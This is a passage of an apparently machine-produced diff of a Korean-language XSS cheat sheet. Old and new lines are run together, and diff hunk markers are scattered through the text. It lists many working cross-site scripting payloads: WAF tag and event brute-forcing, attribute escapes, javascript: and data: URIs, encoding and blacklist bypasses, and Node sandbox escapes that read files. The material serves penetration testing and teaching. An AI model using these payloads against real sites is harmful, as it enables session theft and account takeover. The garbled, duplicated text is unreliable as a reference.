[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**Copy tags to clipboard**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입(brute-force)** 할 수 있습니다 (동일한 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 동일한 절차를 따릅니다). [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**태그 복사**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내어 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입(brute-force)**할 수 있습니다(동일한 웹 페이지에서 _**이벤트 복사**_를 클릭하고 이전과 동일한 절차를 따릅니다).
### 사용자 정의 태그 ### 사용자 정의 태그
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행할 수 있습니다. XSS 요청에서 페이지 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 URL을 `#`로 끝내야 합니다: 유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행할 수 있습니다. XSS 요청에서 페이지 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 URL을 `#`로 끝내야 합니다:
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
@ -230,7 +230,7 @@ onerror=alert`1`
### 길이 우회 (작은 XSSs) ### 길이 우회 (작은 XSSs)
{% hint style="info" %} {% hint style="info" %}
**다양한 환경을 위한 더 작은 XSS** payload는 [**여기**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기**](https://tinyxss.terjanq.me)에서 찾을 수 있습니다. **다양한 환경을 위한 미니 XSS** payload는 [여기](https://github.com/terjanq/Tiny-XSS-Payloads)와 [여기](https://tinyxss.terjanq.me)에서 찾을 수 있습니다.
{% endhint %} {% endhint %}
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
@ -240,22 +240,22 @@ onerror=alert`1`
``` ```
마지막은 5개로 확장되는 2개의 유니코드 문자를 사용하는 것입니다: telsr\ 마지막은 5개로 확장되는 2개의 유니코드 문자를 사용하는 것입니다: telsr\
이러한 문자의 더 많은 정보는 [여기](https://www.unicode.org/charts/normalization/)에서 찾을 수 있습니다.\ 이러한 문자의 더 많은 정보는 [여기](https://www.unicode.org/charts/normalization/)에서 찾을 수 있습니다.\
문자가 분해되는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)를 확인하십시오. 분해된 문자가 어디에 있는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)를 확인하십시오.
### 클릭 XSS - 클릭재킹 ### 클릭 XSS - 클릭재킹
취약점을 악용하기 위해 **사용자가 링크나 폼을 클릭해야 하는 경우** [**클릭재킹을 남용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다(페이지가 취약한 경우). 취약점을 악용하기 위해 **사용자가 사전에 입력된 데이터가 포함된 링크나 양식을 클릭해야 하는 경우**, [**클릭재킹을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다(페이지가 취약한 경우).
### 불가능 - 떠다니는 마크업 ### 불가능 - 떠다니는 마크업
**HTML 태그를 사용하여 JS 코드를 실행하는 속성을 만들 수 없다고 생각한다면**, [**떠다니는 마크업**](../dangling-markup-html-scriptless-injection/)을 확인해야 합니다. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다. **HTML 태그를 사용하여 JS 코드를 실행하는 속성을 만들 수 없다고 생각한다면**, [**떠다니는 마크업**](../dangling-markup-html-scriptless-injection/)을 확인해야 합니다. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다.
## HTML 태그 내 ## HTML 태그 내부에 주
### 태그 내부/속성 값에서 탈출 ### 태그 내부/속성 값에서 탈출
**HTML 태그 내부에 있다면**, 먼저 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.\ **HTML 태그 내부에 있다면**, 먼저 태그에서 탈출하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.\
태그에서 **탈출할 수 없다면**, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어, 이 예제에서는 더블 쿼트를 사용하여 속성에서 탈출합니다(입력이 태그 내에 직접 반영되는 경우 더블 쿼트가 필요하지 않습니다): 태그에서 **탈출할 수 없다면**, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 할 수 있습니다. 예를 들어, 이 예제에서는 더블 따옴표를 사용하여 속성에서 탈출합니다(입력이 태그 내부에 직접 반영되는 경우 따옴표가 필요하지 않습니다):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -270,10 +270,9 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish): #moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div> <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
``` ```
### 속성 내부에서 ### 속성 내부
속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨) 제어하는 값이 **전체인지 일부인지에 따라** 해당 값이 반영된 **어떤 속성**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행시킬 수 있습니다.\ 속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨) 제어하는 값이 **전체인지 일부인지에 따라** 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어할 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예시**는 `href` 속성인데, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
또 다른 흥미로운 **예시**는 `href` 속성인데, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회** **HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회**
@ -308,7 +307,7 @@ HTML 태그 속성 값 내의 **HTML 인코딩된 문자**는 **런타임에서
``` ```
### 특수 프로토콜 속성 내부 ### 특수 프로토콜 속성 내부
거기에서는 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로 할 수 있고 일부는 그렇지 않을 수 있습니다. 거기에서는 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로하며 일부는 그렇지 않을 수 있습니다.
```javascript ```javascript
javascript:alert(1) javascript:alert(1)
JavaSCript:alert(1) JavaSCript:alert(1)
@ -330,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**이러한 프로토콜을 삽입할 수 있는 위치** **이러한 프로토콜을 삽입할 수 있는 위치**
**일반적으로** `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용할 수 있으며**, 대부분의 태그에서는 **`src` 속성을 허용하지만** (`<img` 제외) 일반적으로 `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용**할 수 있으며, 대부분의 태그에서는 **`src` 속성을 허용**하지만(`<img` 제외)
```markup ```markup
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -356,17 +355,17 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
또 다른 **좋은 속임수**가 있습니다: **`javascript:...` 내부의 입력이 URL 인코딩되어 있더라도, 실행되기 전에 URL 디코딩됩니다.** 따라서 **문자열**에서 **단일 인용부호**를 사용하여 **탈출**해야 하는 경우 **URL 인코딩**되어 있는 것을 보더라도, **중요하지 않습니다.** 실행 시간에는 **단일 인용부호**로 **해석**될 것입니다. 또 다른 **좋은 속임수**가 있습니다: **`javascript:...` 내부의 입력이 URL 인코딩되어 있더라도 실행되기 전에 URL 디코딩됩니다.** 따라서 **문자열**에서 **작은 따옴표**를 사용하여 **이스케이프**해야 하는 경우 **URL 인코딩**되어 있는 것을 확인하더라도, **중요하지 않습니다.** 실행 시간에는 **작은 따옴표**로 **해석**될 것입니다.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
참고로, **URLencode + HTMLencode**을 **어떤 순서로든 사용하여** **페이로드**를 인코딩하려고 하면 **작동하지 않을 것**이지만, **페이로드 내에서 둘을 혼합**할 수 있습니다. 참고로, 페이로드를 인코딩하기 위해 URLencode + HTMLencode를 어떤 순서로든 사용하려고 하면 작동하지 않지만, 페이로드 내에서 그들을 혼합할 수 있습니다.
**`javascript:`와 함께 16진수 및 8진수 인코딩 사용** `javascript:`와 함께 **Hex** 및 **Octal 인코딩**을 사용하는 방법
`iframe``src` 속성 내에서 **16진수** 및 **8진수 인코딩**을 사용하여 **JS를 실행할 HTML 태그를 선언**할 수 있습니다: 적어도 `iframe``src` 속성 내에서 **HTML 태그를 실행**하기 위해 **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다:
```javascript ```javascript
//Encoded: <svg onload=alert(1)> //Encoded: <svg onload=alert(1)>
// This WORKS // This WORKS
@ -382,7 +381,7 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
만약 임의의 **`<a href=`** 태그에 **`target="_blank"와 rel="opener"`** 속성이 포함된 URL을 삽입할 수 있다면, 이 동작을 악용하기 위해 **다음 페이지를 확인**하십시오: 만약 임의의 **`<a href=`** 태그에 **`target="_blank"와 rel="opener"`** 속성이 포함된 URL을 삽입할 수 있다면, 다음 페이지를 확인하여 이 동작을 악용할 수 있습니다:
{% content-ref url="../reverse-tab-nabbing.md" %} {% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md) [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -406,9 +405,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B Android: %09 %20 %28 %2C %3B
``` ```
### "Unexploitable tags"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타) ### "사용할 수 없는 태그"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타)
[**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **에서 숨겨진 입력을 악용하는 것이 이제 가능합니다:** [**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)에서 **이제 숨겨진 입력을 악용할 수 있습니다:**
```html ```html
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)> <input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -443,11 +442,11 @@ Android: %09 %20 %28 %2C %3B
**JavaScript 코드 우회** **JavaScript 코드 우회**
다음 섹션의 [자바스크립트 블랙리스트 우회 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요. 다음 섹션의 [자바스크립트 우회 블랙리스트 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요.
### CSS-가젯 ### CSS-Gadgets
웹의 매우 작은 부분에서 **XSS를 발견**했다면 (아마도 푸터의 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 공간을 **수정하여 링크가 실행될 확률을 극대화**할 수 있습니다. 웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 onmouseover 요소가 있는 작은 링크), 해당 요소가 차지하는 공간을 수정하여 링크가 실행될 확률을 최대화할 수 있습니다.
예를 들어, 다음과 같이 요소에 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 예를 들어, 다음과 같이 요소에 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -459,11 +458,11 @@ Android: %09 %20 %28 %2C %3B
> \#someid {top: 0; font-family: Tahoma;} > \#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하고 다음과 같은 형태로 가져올 수 있습니다 이제 링크를 수정하고 다음 형식으로 가져올 수 있습니다
> \<a href="" id=someid class=test onclick=alert() a=""> > \<a href="" id=someid class=test onclick=alert() a="">
요령은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다. 트릭은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다.
## JavaScript 코드 내 삽입 ## JavaScript 코드 내 삽입
@ -471,15 +470,15 @@ Android: %09 %20 %28 %2C %3B
### \<script> 태그 이스케이핑 ### \<script> 태그 이스케이핑
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우 **<script> 태그를 닫아버리는** 것이 쉽습니다: 코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우 **\<script> 태그를 닫아버리는** 것이 쉽습니다:
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
이 예제에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **브라우저에 의해 먼저 HTML 구문 분석**이 수행되기 때문입니다. 이는 페이지 요소를 식별하고 스크립트 블록을 포함합니다. 자바스크립트를 분석하여 내장 스크립트를 이해하고 실행하는 것은 그 후에 수행됩니다. 이 예제에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행**되기 때문인데, 이는 스크립트 블록을 포함한 페이지 요소를 식별하는 과정을 포함합니다. 중첩된 스크립트를 이해하고 실행하기 위한 JavaScript의 파싱은 그 후에 수행됩니다.
### JS 코드 내부 ### JS 코드 내부
`<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다: `<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다:
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
@ -487,10 +486,10 @@ Android: %09 %20 %28 %2C %3B
``` ```
### 템플릿 리터럴 \`\` ### 템플릿 리터럴 \`\`
**문자열**을 구성하기 위해 JS는 **작은 따옴표****큰 따옴표** 외에도 **역따옴표** **\` \`\`**를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 허용합니다.\ **문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\`** 를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 허용합니다.\
따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것을 발견하면 `${ ... }` 구문을 남용하여 **임의의 JS 코드**를 실행할 수 있습니다: 따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것으로 발견된다면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
이를 통해 **남용**할 수 있습니다: 다음을 사용하여 **악용**할 수 있습니다:
```javascript ```javascript
`${alert(1)}` `${alert(1)}`
`${`${`${`${alert(1)}`}`}`}` `${`${`${`${alert(1)}`}`}`}`
@ -514,7 +513,7 @@ loop``````````````
\u0061lert(1) \u0061lert(1)
\u{0061}lert(1) \u{0061}lert(1)
``` ```
### JavaScript 블랙리스트 우회 기술 ### 블랙리스트 우회 기법
**문자열** **문자열**
```javascript ```javascript
@ -547,12 +546,12 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab '\t' //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**자바스크립트 코드 내에서 공백 대체** **자바스크립트 코드 내 공백 대체**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
``` ```
**JavaScript comments (from** [**JavaScript Comments**](./#javascript-comments) **trick)** **JavaScript 주석 (JavaScript 주석 트릭에서)**
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -560,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
``` ```
**자바스크립트 새 줄 (from [자바스크립트 새 줄 트릭](./#javascript-new-lines))** **자바스크립트 새 줄 (from** [**JavaScript new line**](./#javascript-new-lines) **trick)**
```javascript ```javascript
//Javascript interpret as new line these chars: //Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -732,8 +731,8 @@ top[8680439..toString(30)](1)
```` ````
## **DOM 취약점** ## **DOM 취약점**
**공격자가 제어하는 안전하지 않은 데이터**인 `location.href`와 같은 **JS 코드**가 있습니다. 공격자는 이를 악의적인 JS 코드를 실행하기 위해 용할 수 있습니다.\ **공격자가 제어하는 안전하지 않은 데이터**인 `location.href`와 같은 **JS 코드**가 있습니다. 공격자는 이를 악의적인 JS 코드를 실행하기 위해 용할 수 있습니다.\
**[DOM 취약점에 대한 설명이 확장되어 이 페이지로 이동되었습니다]**: **[**DOM 취약점에 대한 설명이 확장되어** 이 페이지로 이동되었습니다**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
@ -746,13 +745,13 @@ top[8680439..toString(30)](1)
### 정규화된 유니코드 ### 정규화된 유니코드
**반사된 값**이 서버(또는 클라이언트 측)에서 **유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting). **반사된 값**이 서버(또는 클라이언트 측)에서 **유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회 ### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회
```javascript ```javascript
"><svg/onload=confirm(1)>"@x.y "><svg/onload=confirm(1)>"@x.y
``` ```
### 루비 온 레일 우회 ### 루비 온 레일 우회
**RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\ **RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\
예시 폼 ([이 보고서에서](https://hackerone.com/reports/709336))에서 페이로드를 보내면: 예시 폼 ([이 보고서에서](https://hackerone.com/reports/709336))에서 페이로드를 보내면:
@ -795,20 +794,20 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
### 302 응답에서 헤더 주입을 사용한 XSS ### 302 응답에서 헤더 주입을 한 XSS
만약 **302 Redirect 응답**에서 **헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록** 시도할 수 있습니다. 이는 현대 브라우저가 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에 **쉽지 않습니다**. 따라서 단순히 크로스 사이트 스크립팅 페이로드만으로는 쓸모가 없습니다. 만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록 시도**할 수 있습니다. 이는 **쉽지 않은 작업**입니다. 왜냐하면 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순히 크로스 사이트 스크립팅 페이로드는 쓸모가 없습니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302) 및 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인하는 방법을 읽을 수 있습니다.\ [**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고, 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인 수 있습니다.\
과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`. 과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### 문자, 숫자 및 점만 허용 ### 문자, 숫자 및 점만 허용
만약 **콜백**이 **실행할** 자바스크립트가 해당 문자로 **제한**된다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어서 이 동작을 악용하는 방법을 찾을 수 있습니다. 만약 **콜백**이 **실행**할 자바스크립트를 해당 문자만으로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어서 이 동작을 악용하는 방법을 찾아보세요.
### 유효한 `<script>` 콘텐츠 유형으로 XSS ### 유효한 `<script>` 콘텐츠 유형으로 XSS
([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면 Chrome은 다음 오류를 표시합니다: ([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면, Chrome은 다음 오류를 발생시킵니다:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -872,7 +871,7 @@ import { partition } from "lodash";
``` ```
이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 사용되었으며 eval로 라이브러리를 다시 매핑하여 악용하여 XSS를 유발할 수 있습니다. 이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 사용되었으며 eval로 라이브러리를 다시 매핑하여 악용하여 XSS를 유발할 수 있습니다.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인한 일부 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다: * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인한 일부 문제를 해결하기 위해 사용됩니다. 작동 방식은 다음과 같습니다:
```html ```html
<script type="speculationrules"> <script type="speculationrules">
{ {
@ -958,16 +957,16 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
만약 실행되기 전에 모든 것이 정의되지 않았다면 (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이), 임의의 신뢰되지 않는 코드의 실행을 악용하기 위해 "아무것도 없는" 유용한 객체를 생성하는 것이 가능합니다: 만약 **모든 것이 정의되지 않았다면** (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이) 신뢰할 수 없는 코드를 실행하기 전에 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 신뢰할 수 없는 코드를 실행하는 것을 악용할 수 있습니다:
* import()를 사용하여 * import()를 사용
```javascript ```javascript
// although import "fs" doesnt work, import('fs') does. // although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
* 간접적으로 `require`에 접근하기 * `require` 간접적으로 접근하기
[다음에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에서 다음과 같이 함수 내부에 래핑됩니다: [에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에서 다음과 같이 함수 내부에 래핑됩니다:
```javascript ```javascript
(function (exports, require, module, __filename, __dirname) { (function (exports, require, module, __filename, __dirname) {
// our actual module code // our actual module code
@ -1020,16 +1019,16 @@ trigger()
``` ```
### 난독화 및 고급 우회 ### 난독화 및 고급 우회
- **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com) * [http://www.jsfuck.com/](http://www.jsfuck.com)
- 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
